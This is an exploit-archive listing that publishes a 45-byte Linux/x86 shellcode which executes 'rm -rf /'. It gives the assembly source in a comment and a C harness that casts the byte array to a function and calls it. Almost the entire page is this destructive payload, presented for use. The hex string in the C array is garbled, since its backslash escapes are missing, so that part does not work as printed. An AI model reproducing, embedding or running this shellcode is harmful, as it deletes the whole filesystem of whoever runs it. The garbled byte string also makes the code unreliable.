[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 execve(rm -rf /) shellcode 45 bytes
# Published : 2006-11-17
# Author : Kris Katterjohn
# Previous Title : linux/x86 forkbomb 7 bytes
# Next Title : linux/x86 setuid(0) + execve(/bin/sh) 28 bytes


/* By Kris Katterjohn 11/18/2006
 *
 * 45 byte shellcode to execve("rm -rf /") for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; execve("/bin/rm", { "/bin/rm", "-r", "-f", "/", NULL }, NULL)
 *
 *      push byte 11
 *      pop eax
 *      cdq
 *      push edx
 *      push byte 0x2f
 *      mov edi, esp
 *      push edx
 *      push word 0x662d
 *      mov esi, esp
 *      push edx
 *      push word 0x722d
 *      mov ecx, esp
 *      push edx
 *      push 0x6d722f2f
 *      push 0x6e69622f
 *      mov ebx, esp
 *      push edx
 *      push edi
 *      push esi
 *      push ecx
 *      push ebx
 *      mov ecx, esp
 *      int 0x80
 */

main()
{
       char shellcode[] =
               "x6ax0bx58x99x52x6ax2fx89xe7x52x66x68x2dx66x89"
               "xe6x52x66x68x2dx72x89xe1x52x68x2fx2fx72x6dx68"
               "x2fx62x69x6ex89xe3x52x57x56x51x53x89xe1xcdx80";

       (*(void (*)()) shellcode)();
}

// www.Syue.com [2006-11-17]